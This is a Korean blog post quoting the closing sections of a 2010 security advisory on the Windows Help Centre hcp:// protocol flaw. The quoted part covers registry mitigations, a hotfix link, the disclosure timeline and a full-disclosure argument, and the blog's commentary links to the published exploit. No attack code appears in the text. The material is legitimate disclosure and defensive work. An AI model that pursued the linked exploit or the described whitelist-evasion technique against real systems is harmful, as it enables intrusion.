          Few users rely on Help Centre urls, it is safe to temporarily disable them
          by removing HKCR\HCP\shell\open. This modification can be deployed easily using
          GPOs. For more information on Group Policy, see Microsoft's Group Policy site,
          here
          
          http://technet.microsoft.com/en-us/windowsserver/bb310732.aspx
          
          A few caveats, 
          
              * I am aware that some support technicians rely on the Remote Assistance
                tool provided by the Help Center application using shortcuts like
                "explorer.exe hcp://CN=Microsoft%20Corporation,L=Re...". You can continue
                to use this technique by substituting "explorer.exe hcp://..." for
                "helpctr.exe /url hcp://...", without relying on the protocol handler.
          
              * One or two links in explorer, such as selecting "Help" from the Control
                Panel category view, may no longer function. If this concerns you, it is
                possible to gracefully degrade by replacing the protocol handler with a
                command to open a static intranet support page, e.g.
                "chrome.exe http://techsupport.intranet";.
          
              * As always, if you do not use this feature, consider permanently disabling
                it in order to reduce attack surface. Historically, disabling unused
                protocol handlers has always proven to be a wise investment in security. 
          
          In the unlikely event that you heavily rely on the use of hcp://, I have
          created an unofficial (temporary) hotfix. You may use it under the terms of
          the GNU General Public License, version 2 or later. Of course, you should only
          use it as a last resort, carefully test the patch and make sure you understand
          what it does (full source code is included). It may be necessary to modify it
          to fit your needs.
          
          The package is availble for x86 here:
          
          http://lock.cmpxchg8b.com/b10a58b75029f79b5f93f4add3ddf992/hcphotfix.zip
          
          [ NOTE: Please avoid linking to this file out of context, it is intended for
                  consideration as a potential mitigation by experienced administrators,
                  and is not suitable for consumption by end-users ]
          
          The hotfix intercepts helpctr.exe invokations, and patches MPC::HexToNum() to
          return zero on error, rather than -1. Nothing is changed on disk, and it can be
          safely removed at anytime. Of course, the result of an invalid unescape is still
          incorrect, but this specific vulnerability should be rendered inert. I would be
          greatful if the community could contribute bugfixes, testing, an x64 port, and
          so on. Once information is in the open, we can all collaborate on our
          collective security.
          
          Some clarifications,
          
              * Fixing the XSS is not a solution, the root cause is the whitelist
                evasion, any mitigation that does not address this is simply papering
                over the issue. An army of researchers that specialise in XSS exists, and
                i'm sure they will turn their attention to help documents once they
                realise their value. Assume more will be discovered.
          
              * That said, if you are an XSS expert, examples in whitelisted pages
                (/services/index, /services/search, etc.) would be useful, your skills
                could be helpful making this important software safe.
          
              * Removing Windows Media player is not a solution, it simply makes a fun
                demo for IE8 and other modern browsers.
          
          Finally, you should take this opportunity to disable all browser plugins and
          SFS ActiveX controls that are not regularly used. End users can do this
          themselves in Google Chrome by viewing about:plugins and disabling the plugins
          that are not required. In Mozilla Firefox, use the Tools->Add-ons->Plugins
          interface.
          
          -------------------
          Solution
          -----------------------
          
          Microsoft was informed about this vulnerability on 5-Jun-2010, and they
          confirmed receipt of my report on the same day.
          
          Protocol handlers are a popular source of vulnerabilities, and hcp:// itself
          has been the target of attacks multiple times in the past. I've concluded that
          there's a significant possibility that attackers have studied this component,
          and releasing this information rapidly is in the best interest of security.
          
          Those of you with large support contracts are encouraged to tell your support
          representatives that you would like to see Microsoft invest in developing
          processes for faster responses to external security reports.
          
          -------------------
          Credit
          -----------------------
          
          This bug was discovered by Tavis Ormandy.
          
          -------------------
          Greetz
          -----------------------
          
          Greetz to Neel, Mark, Redpig, Spoonm, Skylined, asiraP, LiquidK, ScaryBeasts,
          Hawkes, Jagger, and all my other pimp colleagues.
          
          Special thanks to lcamtuf for his assistance with the deferred execution
          problem. You should read his Browser Security Handbook if you need to
          understand how web browser security /really/ works.
          
          http://code.google.com/p/browsersec/wiki/Main
          
          A colleague is organising a conference in Lucerne, Switzerland. He would really
          appreciate interesting papers from security people who want to talk about
          their research (travel, hotel, etc. covered).
          
          https://www.hashdays.ch/
          
          -------------------
          Notes
          -----------------------
          
          I would like to point out that if I had reported the MPC::HexToNum() issue
          without a working exploit, I would have been ignored.
          
          Without access to extremely smart colleagues, I would likely have given up,
          leaving you vulnerable to attack from those who just want root on your network
          and do not care about disclosure policies.
          
          This is another example of the problems with bug secrecy (or in PR speak,
          "responsible disclosure"), those of us who work hard to keep networks safe are
          forced to work in isolation without the open collaboration with our peers that
          we need, especially in complex cases like this, where creative thinking and
          input from experts in multiple disciplines is required to join the dots.
          
          A good place to start researching full disclosure would be this accessible
          and insightful essay by Bruce Schneier.
          
          http://www.schneier.com/essay-146.html
          
          His balanced coverage of the debate is also available in this essay.
          
          http://www.schneier.com/crypto-gram-0111.html#1
          
          Finally, a reminder that this documents contains my own opinions, I do
          not speak for or represent anyone but myself.
          
          -------------------
          References
          -----------------------
          
          hcp:// has been broken a few times over the years, for example:
          
          - http://seclists.org/bugtraq/2002/Aug/225, Delete arbitrary files using Help and Support Center
          - http://www.microsoft.com/technet/security/bulletin/ms03-044.mspx, HCP memory corruption by Dave Litchfield.
          
          The current design is actually pretty sound, I'm sure Microsoft are
          dissapointed they missed this flaw. In their defense, I think there's a good
          chance I would have also missed this in code review.
          
          -- 
          -------------------------------------
          taviso () cmpxchg8b com | pgp encrypted mail preferred
          -------------------------------------------------------


          구글에서 일하는 엔지니어인 Tavis Ormandy는 취약점의 원인 뿐만 아니라 공격하는 방법, 그리고 일시적으로 공격의 예방하는 방법 등 거의 모든 부분에 대해 아무런 가감 없이 상세하게 설명하였습니다.

          문제는 너무 자세하게 설명한 나머지 해커들이 이 정보를 이용하여 손쉽게 악성 코드를 생성할 수 있다는 주장이 마이크로소프트에 의해 주장되기도 했습니다.

          한편, MS의 이러한 공격에 대해 Tavis는 '내 자신의 의견일 뿐이다'라고 전혀 개연치 않는 발언을 하기도 했습니다.

          출처: http://www.itproportal.com/portal/news/article/2010/6/11/microsoft-hits-out-over-google-engineers-hacking-tips/

          공격코드: http://seclists.org/fulldisclosure/2010/Jun/205
          reTweet
          Posted by 문스랩닷컴
          blog comments powered by Disqus


            Web Analytics Blogs Directory